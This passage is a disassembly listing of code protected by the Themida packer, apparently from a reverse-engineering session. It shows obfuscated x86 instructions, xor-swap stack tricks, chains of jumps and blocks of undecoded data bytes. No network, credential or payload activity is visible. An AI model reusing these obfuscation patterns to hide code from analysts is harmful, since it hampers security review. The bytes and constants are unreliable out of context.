		dd 2C890000h, 625DE924h, 34890000h, 2BDE6824h, 2C890000h
		dd 22ADE924h, 83580000h, 48904ECh, 3003E924h, 0C4830000h
		dd 2C08304h, 14C5E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5377F6:				; CODE XREF: Themida_:005412C9j
		mov	edi, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_539F20
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 6BF7815Eh, 537A7721h, 83CDE957h, 85BA0000h, 0E9547831h
		dd 1F20h
; ---------------------------------------------------------------------------

loc_537824:				; CODE XREF: Themida_:0053B5C8j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		or	eax, eax
		jmp	loc_53E754
; ---------------------------------------------------------------------------
byte_53783B	db 0ACh			; DATA XREF: Themida_:00535108o
		dd 0EC81D830h, 4, 51241489h, 88A7B353h,	0EE885BDDh, 884BE959h
		dd 0F5BD0000h, 17E3779h, 7618E9E8h, 2D580000h, 1B031863h
		dd 97CFE9h, 668AB800h, 0A1356ABCh, 0D2B8854h, 66DC2A61h
		dd 0E0C1D8F7h, 0B72D4007h, 2195D0BDh, 0ED8358C5h, 0C5814DFFh
		dd 0E3A5886Bh, 2C8BEB01h, 4C48324h, 0FFE990E9h,	2434FFFFh
		dd 4C4815Fh, 33000000h,	0C31240Ch, 240C3324h, 0E924248Bh
		dd 0FFFFFB6Bh, 6853DDF7h, 5B94h, 68243C89h, 2DC0522h, 7911685Fh
		dd 34890000h, 0CD1BE24h, 0F3892E43h, 5FFB315Eh,	1C8BDD09h
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 8A03E9h, 241C8700h
		dd 0BAED815Ch, 217D2D80h, 0E95D1C6Fh, 0FFFFDA57h
; ---------------------------------------------------------------------------

loc_53790C:				; CODE XREF: Themida_:0053C7A3j
		push	7C92223h
		pop	edi
		push	ebx
		jmp	loc_53BA28
; ---------------------------------------------------------------------------
		dd 0FEFDF581h, 8956EB6Fh, 5EF389EEh, 0A9EB815Dh, 167965Dh
		dd 9EBF57D3h, 81375F0Bh, 7622F8EFh, 3C78121h, 151AD75h
		dd 3815FFBh, 1,	2434FF5Bh, 39D4E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_537952:				; CODE XREF: Themida_:0053E3BEj
		push	small 0
		add	byte ptr [esp],	40h
		sub	[esp], dh
		sub	byte ptr [esp],	40h
		mov	dh, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_53CAF4
; ---------------------------------------------------------------------------
		dd 0CFC38143h, 433D8639h, 76AFEB81h, 0DF2963EBh, 0F1C7815Bh
		dd 0E9434D54h, 8F5Dh
; ---------------------------------------------------------------------------

loc_537988:				; CODE XREF: Themida_:0053BB27j
		mov	dword ptr [edx+30h], 7DAA7D3Ah
		xor	[edx+30h], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5416A3
; ---------------------------------------------------------------------------
		dw 0D701h
		dd 5024148Bh, 405E089h,	5000000h, 4, 5C240487h,	6A4D68h
		dd 242C8900h, 58CC6852h, 535A357Eh, 65ABA52h, 0E9E958D4h
		dd 68FFFFE2h, 56B1h, 0BE243489h, 15F857EDh, 685EF201h
		dd 170Ah, 2E60E9h, 30DD3000h, 0E9D5F6EBh, 8AA6h, 0EE805B59h
		dd 0B35366DEh, 31E2E90Bh, 0ECD00000h, 0FFD98DE9h, 240C8BFFh
		dd 4C481h, 4C010000h, 0C8B0424h, 0E7895724h, 4C781h, 0E9560000h
		dd 745Bh, 4BBh,	0DE895600h, 348BF789h, 4C48124h, 5B000000h
		dd 5D5F68h, 6616E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_537A4E:				; CODE XREF: Themida_:00536AE4j
		add	esp, 4
		jmp	loc_53A212
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 35h
		dd 0C10D7861h, 0DDF706EDh, 1B37E9h, 0FC78100h, 29457436h
		dd 1322E9D7h, 0F1290000h, 6CC7E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_537A7E:				; CODE XREF: Themida_:0053AE73j
		pop	edx
		jmp	loc_53A290
; ---------------------------------------------------------------------------
		dd 4EC81h, 70E90000h, 83FFFFF7h, 0EC8104C4h, 4,	2F15E9h
		db 0
byte_537A9D	db 8Bh,	2 dup(24h)	; DATA XREF: Themida_:00535138o
		dd 0FFD8BEE9h, 0EC8351FFh, 24048904h, 73B54DB0h, 48BC500h
		dd 4C48324h, 18BE9h, 5FF82900h,	6856C801h, 2045h, 31CE9h
		db 0
byte_537ACD	db 66h,	8Bh, 4		; DATA XREF: Themida_:00535098o
		dd 4EC8324h, 54243489h,	0FFE852E9h, 48F5FFFh, 24248B24h
		dd 0FFF468E9h, 0FFE980FFh, 0E980D9F6h, 7E1C07Ah, 28F7E980h
		dd 1C8B59C8h, 4C48324h,	59E0E9h, 24148900h, 44E7B951h
		dd 0C9813D4Bh, 33AC2AC1h, 68E1D1h, 29000000h, 0E959240Ch
		dd 4F3Fh, 2D5DE989h, 628F1D35h,	0FFF8DCE9h, 4C181FFh, 83000000h
		dd 0C8704C1h, 0EC815C24h, 4, 0B0240489h, 66BE24F8h, 8D3BE951h
		dd 0E95A0000h, 737Dh, 63D5E958h, 815C0000h, 2C6h, 24348700h
		dd 4FCBE9h
		db 0
aM0Hj		db '¬0Øh†\',0           ; DATA XREF: Themida_:0053530Co
		dd 240C8900h, 55BE68h, 8105E900h, 0F3810000h, 66034398h
		dd 0CBE9DF01h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_537B8F:				; CODE XREF: Themida_:0054002Dj
		pop	ebx
		and	eax, edx
		mov	edx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_53FC54
; ---------------------------------------------------------------------------
		dw 0C0B8h
		dd 3518E250h, 40FE1216h, 3AE9C701h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_537BB7:				; CODE XREF: Themida_:0054069Bj
		push	ecx
		mov	ecx, 59342A6Eh
		add	eax, ecx
		pop	ecx
		jmp	loc_53E18B
; ---------------------------------------------------------------------------
		db 5, 0, 23h
		dd 0C629B4DAh, 0CC68158h, 8326445Ah, 34E904ECh
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_53B657
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0F2010000h, 4BB535Eh, 1000000h, 14875BDAh, 24248B24h
		dd 515D5455h, 441C68h, 24348900h, 841EA7BEh, 0C7EE8139h
		dd 5230ADAEh, 6E9F289h,	81000072h, 0F34EC5C3h, 930DE913h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_537C2A:				; CODE XREF: Themida_:005362F8j
		xchg	esi, [esp]
		pop	esp
		add	ecx, 4
		push	eax
		push	esi
		jmp	loc_540131
; ---------------------------------------------------------------------------
		db 89h
		dd 50B82404h, 0E9124869h, 1D21h, 81E38953h, 4C3h, 4EB8100h
		dd 87000000h, 9BE9241Ch, 89000080h, 0BB532424h,	4, 7EB0E9h
		dd 59CE2800h, 0E915EB80h, 729Ah, 2434FF5Eh, 0F5C5E959h
		dd 2468FFFFh, 89000003h, 83E92414h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_537C8F:				; CODE XREF: Themida_:00540F02j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_53CFBB
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 18F8h, 1FFEB81h,	92E91EC8h, 81000055h, 6817DFC2h
		dd 3685E2Eh, 89000011h,	4DB9240Ch, 4940925Bh, 20FFE9h
		dd 5DEF8900h, 0EFD1DFF7h, 23C5BB53h, 814B6B3Fh,	916C4EF3h
		dd 0E0FE933h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_537CDE:				; CODE XREF: Themida_:0053662Ej
		push	esi
		mov	esi, 32586AF5h
		mov	eax, esi
		pop	esi
		inc	eax
		neg	eax
		add	eax, 1F167009h
		neg	eax
		shr	eax, 6
		jmp	loc_53E4AE
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 4
		dd 33A7E9h, 99B05000h, 0D0F67834h, 0E8C01D0Ch, 88050406h
		dd 7AE958C2h, 0BA00007Fh, 2, 6151E9h
		db 0
; ---------------------------------------------------------------------------

loc_537D21:				; CODE XREF: Themida_:0053DC44j
		shr	edi, 6
		and	edi, 44FB71DDh
		jmp	loc_53BAC4
; ---------------------------------------------------------------------------
		db 89h
		dd 3FFEE9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_537D36:				; CODE XREF: Themida_:0054015Fj
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5392E6
; ---------------------------------------------------------------------------
		dw 6659h
		dd 165AED81h, 66F52966h, 165AC581h, 5E2434FFh, 81E38953h
		dd 4C3h, 4C38300h, 0FFE756E9h, 19C368FFh, 6E90000h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_537D83:				; CODE XREF: Themida_:0053682Aj
		push	edi
		push	26B14A52h
		pop	edi
		shr	edi, 3
		inc	edi
		xor	edi, 29062C0Dh
		jmp	loc_5414B6
; ---------------------------------------------------------------------------

loc_537D99:				; CODE XREF: Themida_:0053D33Bj
		mov	[esp], edi
		jmp	loc_53D59E
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 5204C483h, 0C281E289h, 4, 4BD55h, 0EA290000h, 86B3E95Dh
		dd 81660000h, 0FFFF242Ch, 0FFF086E9h, 243431FFh, 0E9243433h
		dd 9484h, 0E959CF88h, 19FBh
dword_537DDC	dd 6BC768h, 243C8900h, 37E4E9h,	243C8900h, 8022D5BFh, 0F944E906h
					; DATA XREF: Themida_:00535168o
		dd 0D689FFFFh, 5A2434FFh, 4C481h, 81560000h, 163B2404h
		dd 48B50A0h, 4C48324h, 0A0163B2Dh, 24348B50h, 8904C483h
		dd 34FF2047h, 36E95824h, 89000090h, 4C381E3h, 0E9000000h
		dd 11A4h, 8108E5C1h, 273B57EDh,	5BC5816Ch, 1FDD742h, 0E9555DEEh
		dd 5AECh, 0CCB95147h, 91B064Eh,	0C78159CFh, 15DE1C4Ch
		dd 4707EFC1h, 4FE8BD55h, 0E5C1276Bh, 0F9C58102h, 0E912E745h
		dd 0FFFFE01Dh
; ---------------------------------------------------------------------------

loc_537E74:				; CODE XREF: Themida_:005387F6j
		add	edi, 6DAC385Bh
		add	edi, ebp
		sub	edi, 6DAC385Bh
		pop	ebp
		add	edx, edi
		pop	edi
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_53EF9B
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9241C89h, 3F39h, 8904EC83h, 4BD242Ch, 1000000h, 242C8BE8h
		dd 4C481h, 57530000h, 0FFEE91E9h, 24048FFFh, 4240483h
		dd 8124048Fh, 42404h, 50E90000h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_537EF3:				; CODE XREF: Themida_:0053E28Bj
		mov	[esp], edi
		mov	edi, esp
		push	eax
		mov	eax, 4B75087Eh
		shr	eax, 7
		shl	eax, 7
		not	eax
		shr	eax, 1
		xor	eax, 4B7A4048h
		xor	eax, 113F3BB3h
		add	edi, eax
		pop	eax
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_53BAD5
; ---------------------------------------------------------------------------
aBc_n?usJ	db 'æ_nÆ?UéÁJ',0
		align 4
		dd 405E089h, 2D000000h,	4, 5C240487h, 46CFE9h, 24542900h
		dd 6C295A08h, 44810424h, 31840424h, 2C8B7BF8h, 3E38E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_537F76:				; CODE XREF: Themida_:00535F87j
		xor	ebp, 24210484h
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_53D065
; ---------------------------------------------------------------------------
		dw 0D989h
		dd 81241C8Bh, 4C4h, 0E9C82100h,	6000h
; ---------------------------------------------------------------------------

loc_537FA4:				; CODE XREF: Themida_:00536055j
		push	edi
		push	ebx
		sub	dword ptr [esp], 1C8403FBh
		jmp	loc_53B854
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 1B586129h, 6605E9h, 0CFF6600h, 9CE99C24h, 0C1FFFFD3h
		dd 17E908EBh, 0BD000086h, 1E04B084h, 0FFE7B3E9h, 0A8EB81FFh
		dd 292F0E04h, 56595BD8h, 76D668h, 240C8900h, 7D7C6855h
		dd 2C8B3744h, 4C48324h,	2C8BE989h, 4C48324h, 6BE9CE89h
		dd 8F000007h, 248B2404h, 2424D324h, 0D34DE99Ch,	0D789FFFFh
		dd 88D5E9h, 0CF015800h,	4870C781h, 0B9514ABDh, 64E7588Bh
		dd 1758E9h
		db 0
byte_538031	db 66h,	8Bh, 4		; DATA XREF: Themida_:0053511Co
aHU		db '$h`U',0
		align 2
		dw 3489h
		dd 0F11DE924h, 59B9FFFFh, 81357123h, 226E39C9h,	91E9523Bh
		dd 53000052h, 17B35350h, 0F622C380h, 80C3FED3h,	0C380EEF3h
		dd 2AEB801Ah, 0FFDE9DE9h, 9CE953FFh
		db 46h,	2 dup(0)
byte_538073	db 68h			; DATA XREF: Themida_:00535210o
		dd 63C0h, 0BE243489h, 1F7E1045h, 8444E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_538086:				; CODE XREF: Themida_:00535D0Fj
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	7472h
		jmp	loc_53A91F
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 2214E9h, 0CEEF8100h,	8904E1A9h, 5AE95FFBh, 81000005h
		dd 4C4h, 0E9C83000h, 7244h
; ---------------------------------------------------------------------------

loc_5380C4:				; CODE XREF: Themida_:0053D2DFj
		sub	ebp, edi
		pop	edi
		add	ebp, eax
		add	ebp, 295D57EBh
		jmp	loc_53BAAC
; ---------------------------------------------------------------------------

loc_5380D4:				; CODE XREF: Themida_:0053E106j
		add	esi, 4
		jmp	loc_53ED3D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 1EE92404h, 8000002Eh, 0D028C6C2h,	8768665Ah
		dd 0E2A9E940h, 3489FFFFh, 4BE24h, 0F7010000h, 4C7815Eh
		dd 87000000h, 0FF5C243Ch, 83582434h, 6CE904ECh
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53811B:				; CODE XREF: Themida_:0053ABBCj
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 0A2BADED8h
		add	ebx, esi
		pop	esi
		xor	edx, eax
		jmp	loc_535363
; ---------------------------------------------------------------------------
		db 2Dh,	0C6h, 1Eh
		dd 91E906C5h, 5A000074h, 5214E9h, 242C3300h, 0E9242C31h
		dd 3881h
; ---------------------------------------------------------------------------

loc_538158:				; CODE XREF: Themida_:005393D9j
		mov	eax, 4
		sub	ebp, 32DE78FBh
		add	ebp, eax
		add	ebp, 32DE78FBh
		pop	eax
		jmp	loc_538178
; ---------------------------------------------------------------------------
aZss		db '^Zé™/',0
		align 4

loc_538178:				; CODE XREF: Themida_:0053816Cj
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_536352
; ---------------------------------------------------------------------------
		dd 0EB88D588h, 0DE885259h, 5A873488h, 5B2434FFh, 605AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5381A1:				; CODE XREF: Themida_:0053B373j
		push	esp
		jmp	loc_5388D2
; ---------------------------------------------------------------------------

loc_5381A7:				; CODE XREF: Themida_:0053F400j
		sub	eax, esi
		jmp	loc_53CA74
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 710FE9h, 673CBE00h, 0EE814908h, 4908673Ah, 25DC381h
		dd 12E94E70h, 81000058h, 707BB1F7h, 0D783E9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5381DA:				; CODE XREF: Themida_:0053CDBFj
		pop	esi
		push	ebp
		mov	ebp, 17DE0196h
		not	ebp
		inc	ebp
		xor	ebp, 0EBA0C23h
		add	ebp, 107E489Fh
		add	ebp, 8E5C51Ch
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_53F4FE
; ---------------------------------------------------------------------------

loc_538206:				; CODE XREF: Themida_:0053B2B4j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_53E8FA
; ---------------------------------------------------------------------------

loc_538217:				; CODE XREF: Themida_:00539784j
		add	esp, 4
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_540C86
; ---------------------------------------------------------------------------

loc_538227:				; CODE XREF: Themida_:00539E3Fj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_540A97
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 83h
		dd 348904ECh, 84F7E924h, 0F82C0000h, 0C3805A66h, 83B25255h
		dd 0EAC0CAFEh, 0FEDAF607h, 97EA80CAh, 285AD328h, 0F837E9C3h
		dd 0EDC1FFFFh, 31E95308h, 0BF000045h, 0
aUsiu		db 'UéëU',0
		align 2
		dw 29B6h
		dd 0BAE9D6F6h, 68000043h, 36B4h, 53241489h, 4BBh, 6D49E900h
		dd 53480000h, 730FE9h, 58C30000h, 0B93E9h, 0C7295F00h
		dd 27E95B58h, 0FF00005Bh, 835B2434h, 0A0E904C4h
		db 0D0h, 2 dup(0FFh)
byte_5382C3	db 66h			; DATA XREF: Themida_:00535290o
		dd 5524048Bh, 7D2BE9h, 7E2C100h, 83DAE9h, 6BA1BF00h, 7C296FD9h
		dd 4CE90424h, 0BD000025h, 2F410F29h, 0DC36C581h, 0EB29BF9Ch
		dd 0FFF102E9h, 0BE565EFFh, 75FE4507h, 630AE681h, 0E9463E2Ah
		dd 827Ch, 4240481h, 8B000000h, 0C4832414h, 7E63E904h, 0BD550000h
		dd 4, 1644C281h, 0EA01464Dh, 1644EA81h,	2C8B464Dh, 4C48124h
		dd 57000000h, 2682968h,	0F7815F3Ch, 3C02682Dh, 3CD1E9h
		db 0
; ---------------------------------------------------------------------------

loc_538349:				; CODE XREF: Themida_:0053E1F6j
		mov	esi, 4
		jmp	loc_5355BA
; ---------------------------------------------------------------------------
byte_538353	db 0FFh			; DATA XREF: Themida_:0053509Co
		dd 43E92434h, 81FFFFE3h, 7499C2C3h, 82EE8122h, 2959BE79h
		dd 82C681DEh, 5B59BE79h, 62E9F301h, 8B000030h, 0C4832434h
		dd 4C48104h, 0C1000000h, 0C00900E9h, 4046840Fh,	0EC810000h
		dd 4, 5BE5E9h, 4BB5300h, 1000000h, 0E9835BD9h, 240C8704h
		dd 2EE9545Ch, 8BFFFFFBh, 0F662424h, 9C2404BBh, 0FFCFA6E9h
		dd 7EBC1FFh, 4819E9h, 24048900h, 1604A7B8h, 2C29E982h
		dd 295D0000h, 0C8B5BDEh, 4C48124h, 83000000h, 55E902C6h
		dd 1000044h, 69E981D1h,	8136312Bh, 2C2DCEE9h, 0A3E95A08h
		dd 31000091h, 14332414h, 0C80F5C24h, 5E8FE9h, 0E9585400h
		dd 393Ch
; ---------------------------------------------------------------------------

loc_538410:				; CODE XREF: Themida_:0053D7FBj
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_53A4F2
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 44F20D87h, 4247C31h,	0F6815E5Fh, 44F20D87h, 2C87565Fh
		dd 87D5F724h, 348B242Ch, 0E135E924h, 0C05BFFFFh, 0D8E905ECh
		dd 5AFFFFDFh, 0E94BB050h, 8905h, 546FD42Dh, 5E8016Fh, 6F546FD4h
		dd 240C8B5Dh, 4C481h, 0C3310000h, 0B4E6866h, 1E30E9h, 4BF00h
		dd 54E90000h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53847B:				; CODE XREF: Themida_:0053AC3Fj
		mov	edi, 19160F9Ah
		push	ebx
		mov	ebx, 1
		jmp	loc_53B6E4
; ---------------------------------------------------------------------------
aIT_h		db '‰<$T_h',0Dh,'!',0
		dd 241C8900h, 0A37C70BBh, 0FB25E92Fh, 0C481FFFFh, 4, 461CE9h
		db 0
; ---------------------------------------------------------------------------

loc_5384AD:				; CODE XREF: Themida_:00538BE9j
		add	[esp+4], edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 2
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_53E59D
; ---------------------------------------------------------------------------

loc_5384DC:				; CODE XREF: Themida_:0053B493j
		add	esp, 4

loc_5384DF:				; CODE XREF: Themida_:00539F25j
		push	ebp
		push	ebx
		sub	dword ptr [esp], 291C5C55h
		pop	ebp
		jmp	loc_53CEDF
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 0B28CC501h, 8071E9h
		db 0
; ---------------------------------------------------------------------------

loc_5384F9:				; CODE XREF: Themida_:0053EE86j
		push	ebx
		jmp	loc_53C4E6
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0CF280CAh, 0E95AD428h, 0FFFFF4FEh
; ---------------------------------------------------------------------------

loc_53850C:				; CODE XREF: Themida_:0053E092j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_53B0D4
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0EAE3814Bh, 0E928C16Dh, 1C26h
; ---------------------------------------------------------------------------

loc_538524:				; CODE XREF: Themida_:00535C4Bj
		push	58ABh
		mov	[esp], esi
		jmp	loc_53E1EB
; ---------------------------------------------------------------------------
byte_538531	db 66h,	8Bh, 4		; DATA XREF: Themida_:00535120o
		dd 4EC8124h, 89000000h,	0F2E9242Ch
		db 1Fh,	2 dup(0)
byte_538543	db 0FFh			; DATA XREF: Themida_:005350A4o
aW8ho		db 'w8hŽ',8,0
		dw 8900h
		dd 52502434h, 20742BBAh, 3575B805h, 0E5E90A33h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53855F:				; CODE XREF: Themida_:0053BBD2j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_540074
; ---------------------------------------------------------------------------
		dd 8015C480h, 96E91CECh
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_538573:				; CODE XREF: Themida_:0053889Fj
		pop	esp
		jmp	loc_53DD70
; ---------------------------------------------------------------------------
		db 89h,	0F5h, 5Eh
		dd 875DE929h, 248B240Ch, 24148924h, 0D4E99C50h
		db 0CDh, 2 dup(0FFh)
byte_53858F	db 0ACh			; DATA XREF: Themida_:00535254o
		dd 4EC81h, 0C890000h, 8AB65224h, 805AF188h, 0C9FEA7E9h
		dd 0C0CAC980h, 536607E9h, 37E92AB7h
		db 3Eh,	2 dup(0)
byte_5385B3	db 66h			; DATA XREF: Themida_:005352F8o
		dd 57240C8Bh, 0E904EC83h, 0FFFFEDCAh, 156E6B2Dh, 4E0C156h
		dd 6C59E9h, 14895C00h, 5A86E924h, 0EC830000h, 0D747E902h
		dd 6855FFFFh, 4, 5DEB015Dh, 0E9241C33h,	32Bh, 5AD3E958h
		dd 2C8B0000h, 4C48124h,	9000000h, 25840FC0h, 0FF00002Dh
		dd 56511C77h, 677FE9h, 0DEED8100h, 160A93Fh, 0DEC581DDh
		dd 8B60A93Fh, 0C481241Ch, 4, 0C7E9E821h, 5BFFFFFFh, 5E9DEF7h
		db 0F9h, 2 dup(0FFh)
byte_538637	db 83h			; DATA XREF: Themida_:005351DCo
		dd 48904ECh, 352CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_538642:				; CODE XREF: Themida_:0053D933j
		sub	eax, 29D66688h
		push	esi
		push	0D71721h
		mov	esi, [esp]
		add	esp, 4
		not	esi
		push	ecx
		push	ebp
		mov	ebp, 323E074Ah
		mov	ecx, ebp
		jmp	loc_5387C2
; ---------------------------------------------------------------------------

loc_538666:				; CODE XREF: Themida_:0053FC61j
		pop	esi
		add	esp, 4
		jmp	loc_536CB4
; ---------------------------------------------------------------------------
		db 50h
		dd 0B25292B4h, 0C0CAFEBDh, 80E904EAh, 88FFFFFEh, 0C58859C8h
		dd 220EE9h, 4C18100h, 83000000h, 0C8704E9h, 0A0E95C24h
		dd 52FFFFF5h, 88E78853h, 2434FFFAh, 4C4835Bh, 148BD788h
		dd 6A11E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5386B2:				; CODE XREF: Themida_:005393CAj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	346Eh
		mov	[esp], esi
		jmp	loc_535E4E
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0C44B08BDh, 84BA523Dh, 0E97BF831h, 0FFFFF879h, 78FD68h
		dd 243C8900h, 0BA52E789h, 4, 0FFF2ADE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5386F9:				; CODE XREF: Themida_:0053C6D8j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_535363
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9E9241Ch
		db 42h,	2 dup(0)
byte_53870F	db 0FFh			; DATA XREF: Themida_:005352A4o
		dd 669D1C77h, 241CD359h, 0CC45E99Ch, 0FB89FFFFh, 0C381435Fh
		dd 0B0B5A82Fh, 515BD801h, 4B9h,	0E9C80100h, 3466h, 3C6E68h
		dd 48F5400h, 4B95124h, 0E9000000h, 1F5Dh
aM0Ss9		db '¬0Øé™9',0           ; DATA XREF: Themida_:005350F8o
		align 4
dword_538754	dd 8B2434FFh, 89512404h, 4C181E1h, 81000000h, 4C1h, 240C8700h
					; DATA XREF: Themida_:0053516Co
		dd 0DFBEE95Ch, 5059FFFFh, 0EA774BB8h, 0C0C681D3h, 2948B607h
		dd 9EE955C6h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_538787:				; CODE XREF: Themida_:00535A43j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_536C7E
; ---------------------------------------------------------------------------
		db 0BBh, 55h, 4Bh
		dd 0DF010BF5h, 83241C8Bh, 25E904C4h, 0B8000081h, 56B73DB3h
		dd 158C629h, 0B3C681FEh, 5F56B73Dh, 3302C683h, 34312434h
		dd 22F8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5387C2:				; CODE XREF: Themida_:00538661j
		pop	ebp
		push	esi
		mov	esi, 0
		sub	esi, ecx
		xchg	esi, ecx
		pop	esi
		or	ecx, 579526CAh
		push	ebp
		mov	ebp, 2F4A6078h
		jmp	loc_53E081
; ---------------------------------------------------------------------------

loc_5387DF:				; CODE XREF: Themida_:005417BEj
		mov	edi, 22CB102Ah
		or	edi, 1F5C223Fh
		sub	edi, 1CDD6B88h
		push	ebp
		mov	ebp, 0DBAC85E4h
		jmp	loc_537E74
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0B3E9241Ch, 57000070h, 4BFh,	0EA25E900h, 0DAF7FFFFh
		dd 0FFE382E9h, 0E9DEF7FFh, 4053h, 5D5FFB89h, 40F8BA52h
		dd 0D3316079h, 5BDD015Ah, 0FFDB3DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_538831:				; CODE XREF: Themida_:005414BCj
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_53C407
; ---------------------------------------------------------------------------

loc_538842:				; CODE XREF: Themida_:0053E7C9j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_540ACA
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0DC71EE3h, 2BE9D509h
		db 7Eh,	2 dup(0)
byte_538857	db 66h			; DATA XREF: Themida_:005350A8o
		dd 6824048Bh, 1EE5h, 54240C89h,	6AE95659h, 81000036h, 0D82EB1EBh
		dd 0D2EB813Fh, 14D0257h, 4AAAE9EBh, 40680000h, 0E9000000h
		dd 0FFFFF819h, 39E0E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53888E:				; CODE XREF: Themida_:00535E58j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_538573
; ---------------------------------------------------------------------------
dword_5388A4	dd 592434FFh, 0E03E950h	; DATA XREF: Themida_:005350F4o
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5388AE:				; CODE XREF: Themida_:0053B669j
		push	edx
		jmp	loc_539198
; ---------------------------------------------------------------------------

loc_5388B4:				; CODE XREF: Themida_:0053EAAAj
		not	ecx
		push	edi
		mov	edi, 692A05FBh
		or	edi, 331F49FDh
		jmp	loc_535813
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 645E900h
		db 2 dup(0)
